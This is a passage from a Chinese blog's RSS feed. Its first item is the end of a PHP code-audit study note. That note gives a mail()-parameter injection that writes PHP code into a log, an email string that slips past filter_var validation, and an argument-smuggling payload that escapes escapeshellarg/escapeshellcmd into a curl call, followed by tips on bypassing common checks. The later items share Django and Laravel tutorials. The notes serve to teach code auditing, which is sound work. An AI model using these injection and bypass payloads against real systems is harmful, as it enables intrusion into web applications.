
这个参数可以让我们指定我们发送邮件的邮箱地址。
</code></pre>
<ul>
<li>举个例子（原文图）</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200429165336.png" alt="" /></p>
<ul>
<li>结果</li>
</ul>
<pre><code class="">17220 &lt;&lt;&lt; To: Alice@example.com
 17220 &lt;&lt;&lt; Subject: Hello Alice!
 17220 &lt;&lt;&lt; X-PHP-Originating-Script: 0:test.php
 17220 &lt;&lt;&lt; CC: somebodyelse@example.com
 17220 &lt;&lt;&lt;
 17220 &lt;&lt;&lt; &lt;?php phpinfo(); ?&gt;
 17220 &lt;&lt;&lt; [EOF]
</code></pre>
<ul>
<li>filter_var()问题（FILTER_VALIDATE_EMAIL）</li>
</ul>
<blockquote><p>
  filter_var() 问题在于，我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因，我们通过重叠单引号和双引号，欺骗 filter_val() 使其认为我们仍然在双引号中，这样我们就可以绕过检测。
</p></blockquote>
<pre><code class="">”aaa’aaa”@example.com
</code></pre>
<ul>
<li>escapeshellcmd() 和 escapeshellarg()（会造成特殊字符逃逸）</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200429180904.png" alt="" /></p>
<ul>
<li>逃逸过程分析</li>
</ul>
<pre><code class="">$param = "127.0.0.1' -v -d a=1";
$a = escapeshellcmd($param);
$b = escapeshellarg($a);
$cmd = "curl".$b;
var_dump($a)."n";
var_dump($b)."n";
var_dump($cmd)."n";
system($cmd);
</code></pre>
<p><strong>传入127.0.0.1&#8242; -v -d a=1，escapeshellarg首先进行转义，处理为&#8217;127.0.0.1&#8221;&#8217; -v -d a=1&#8217;，接着escapeshellcmd处理，处理结果为&#8217;127.0.0.1&#8217;&#92;&#8221; -v -d a=1&#8242;,&#92; 被解释成了  而不再是转义字符</strong></p>
<h4>参考</h4>
<pre><code class="">https://www.leavesongs.com/PENETRATION/some-tricks-of-attacking-lnmp-web-application.html
</code></pre>
<h2>Tips整理</h2>
<ul>
<li>in_array</li>
</ul>
<pre><code class="">第三个参数未设置为true,可利用弱类型比较绕过
</code></pre>
<ul>
<li>filter_var（url过滤）</li>
</ul>
<pre><code class="">未对协议进行校验，可利用xxx://绕过
</code></pre>
<ul>
<li>class_exists</li>
</ul>
<pre><code class="">当存在__autoload函数，会自动调用，如果类名可控，可造成危害，如果参数也可控，可利用内部函数进行攻击。
</code></pre>
<ul>
<li>strpos</li>
</ul>
<pre><code class="">strpos在没找到指定字符时会返回flase，如果第一个字符找到就返回0
</code></pre>
<ul>
<li>filter_var (FILTER_VALIDATE_EMAIL)</li>
</ul>
<pre><code class="">filter_var() 问题在于，我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因，我们通过重叠单引号和双引号，欺骗 filter_val() 使其认为我们仍然在双引号中，这样我们就可以绕过检测。
”aaa’aaa”@example.com
</code></pre>
<ul>
<li>escapeshellarg与escapeshellcmd</li>
</ul>
<pre><code class="">escapeshellarg与escapeshellcmd配合使用会存在绕过
</code></pre>
<ul>
<li>尾声</li>
</ul>
<p>本系列是弟弟跟着红日安全产出的代码审计教程系列学习的，原项目地址：[PHP-Audit-Labs]</p>
<p>(https://github.com/hongriSec/PHP-Audit-Labs)</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Python3.6+Django2.0视频教程及实战开发</title>
		<link>/course/561.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 24 Aug 2018 02:48:36 +0000</pubDate>
				<category><![CDATA[教程分享]]></category>
		<category><![CDATA[django]]></category>
		<category><![CDATA[教程]]></category>
		<category><![CDATA[视频]]></category>
		<guid isPermaLink="false">/?p=561</guid>

					<description><![CDATA[Django2.0视频教程的代码 该git项目是Django2.0视频教程对应章节的代码，为了查看方便，对应章节代码在对应文件夹中。 Django2.0视频教程地址：https:/...]]></description>
										<content:encoded><![CDATA[<p><a href="/wp-content/uploads/2018/06/2.jpg"><img loading="lazy" class="aligncenter size-full wp-image-71" src="/wp-content/uploads/2018/06/2.jpg" alt="" width="500" height="228" /></a></p>
<h1>Django2.0<span class="wpcom_tag_link"><a href="/tags/%e8%a7%86%e9%a2%91" title="视频" target="_blank">视频</a></span><span class="wpcom_tag_link"><a href="/tags/%e6%95%99%e7%a8%8b" title="教程" target="_blank">教程</a></span>的代码</h1>
<p>该git项目是Django2.0视频教程对应章节的代码，为了查看方便，对应章节代码在对应文件夹中。</p>
<p>Django2.0视频教程地址：<a href="https://space.bilibili.com/252028233/#/channel/detail?cid=28138" rel="nofollow">https://space.bilibili.com/252028233/#/channel/detail?cid=28138</a></p>
<h2><a id="user-content-如何使用" class="anchor" href="https://github.com/HaddyYang/django2.0-course/blob/master/README.md#%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8" aria-hidden="true"></a>如何使用</h2>
<p>该git项目主要是提供一个可对照的代码给大家。大家一定要先照着视频把代码敲一遍，以加深印象。</p>
<p>每个文件夹对应每节课的代码。</p>
<h4><a id="user-content-1python" class="anchor" href="https://github.com/HaddyYang/django2.0-course/blob/master/README.md#1python" aria-hidden="true"></a>1、Python</h4>
<p>Django是Python的一种web框架，需要Python才可使用。本教程使用Python3.6的版本录制，建议使用Python3.x最新版本。可打开<a href="https://www.python.org/downloads/" rel="nofollow">Python官网</a>下载并安装。</p>
<h4><a id="user-content-2虚拟环境" class="anchor" href="https://github.com/HaddyYang/django2.0-course/blob/master/README.md#2%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83" aria-hidden="true"></a>2、虚拟环境</h4>
<p>本课程用virtualenv，你也可以使用其他虚拟环境管理Python库。</p>
<h4><a id="user-content-3一键安装库" class="anchor" href="https://github.com/HaddyYang/django2.0-course/blob/master/README.md#3%E4%B8%80%E9%94%AE%E5%AE%89%E8%A3%85%E5%BA%93" aria-hidden="true"></a>3、一键安装库</h4>
<p>每次课的代码文件夹都有一个requirments.txt文件。该文件是记录所使用库的信息。可利用该文件直接一键安装所有库。</p>
<p>启动虚拟环境之后（若有使用虚拟环境的的话），进入requirments.txt所在的目录，执行命令：</p>
<p><code>pip install -r requirements.txt</code></p>
<h4><a id="user-content-4第36节需要安装的mysqlclient库" class="anchor" href="https://github.com/HaddyYang/django2.0-course/blob/master/README.md#4%E7%AC%AC36%E8%8A%82%E9%9C%80%E8%A6%81%E5%AE%89%E8%A3%85%E7%9A%84mysqlclient%E5%BA%93" aria-hidden="true"></a>4、第36节需要安装的mysqlclient库</h4>
<p>第36节需要的mysqlclient库先用pip install mysqlclient安装。不行的话，打开<a href="https://www.lfd.uci.edu/~gohlke/pythonlibs/#mysqlclient" rel="nofollow">https://www.lfd.uci.edu/~gohlke/pythonlibs/#mysqlclient</a>下载mysqlclient的whl包，再用pip安装这个whl包。</p>
<h4><a id="user-content-5启动本地服务" class="anchor" href="https://github.com/HaddyYang/django2.0-course/blob/master/README.md#5%E5%90%AF%E5%8A%A8%E6%9C%AC%E5%9C%B0%E6%9C%8D%E5%8A%A1" aria-hidden="true"></a>5、启动本地服务</h4>
<p>进入项目根目录，执行命令：</p>
<p><code>python manage.py runserver</code></p>
<h2><a id="user-content-目录大纲" class="anchor" href="https://github.com/HaddyYang/django2.0-course/blob/master/README.md#%E7%9B%AE%E5%BD%95%E5%A4%A7%E7%BA%B2" aria-hidden="true"></a>目录大纲</h2>
<p>01.什么是Django</p>
<ul>
<li>Django是Python Web框架</li>
<li>Django的特点</li>
<li>安装Python3</li>
<li>安装Django2.0</li>
</ul>
<p>02.入门仪式：Hello World</p>
<ul>
<li>创建Django项目</li>
<li>&#8220;Hello, world&#8221;</li>
<li>初步介绍urls路由</li>
<li>创建超级管理员，进入后台管理界面</li>
</ul>
<p>03.Django基本应用结构</p>
<ul>
<li>什么是Django应用</li>
<li>创建Django应用</li>
<li>初步介绍models模型</li>
<li>模型同步到数据库</li>
<li>简单把模型展现到后台管理界面</li>
</ul>
<p>(完善中&#8230;)</p>
<h2><a id="user-content-注意" class="anchor" href="https://github.com/HaddyYang/django2.0-course/blob/master/README.md#%E6%B3%A8%E6%84%8F" aria-hidden="true"></a>注意</h2>
<p>我后面会继续把其他代码和说明补充完整。 admin后台用户名是ysh，密码是test123456</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Laravel5.2开发博客实战项目视频教程</title>
		<link>/course/522.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 09 Aug 2018 11:53:30 +0000</pubDate>
				<category><![CDATA[教程分享]]></category>
		<category><![CDATA[Laravel]]></category>
		<category><![CDATA[PHP]]></category>
		<guid isPermaLink="false">/?p=522</guid>

					<description><![CDATA[laravel5.2开发博客实战项目视频教程，跟着视频一步一步走，就能开发出来你自己的博客。 视频来自网络收集。 教程视频已经传到了B站，观看地址：https://www.bili...]]>/</description>
										<content:encoded><![CDATA[<p><a href="/wp-content/uploads/2018/08/2018081011332613.jpg"><img loading="lazy" class="aligncenter size-full wp-image-527" src="/wp-content/uploads/2018/08/2018081011332613.jpg" alt="" width="940" height="380" /></a></p>
<p>laravel5.2开发博客实战项目视频教程，跟着视频一步一步走，就能开发出来你自己的博客。 视频来自网络收集。</p>
<p>教程视频已经传到了B站，观看地址：<a href="https://www.bilibili.com/video/av28898626" target="_blank" rel="noopener">https://www.bilibili.com/video/av28898626</a></p>
<p><iframe src="//player.bilibili.com/player.html?aid=28898626&amp;cid=50105732&amp;page=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="allowfullscreen"> </iframe></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
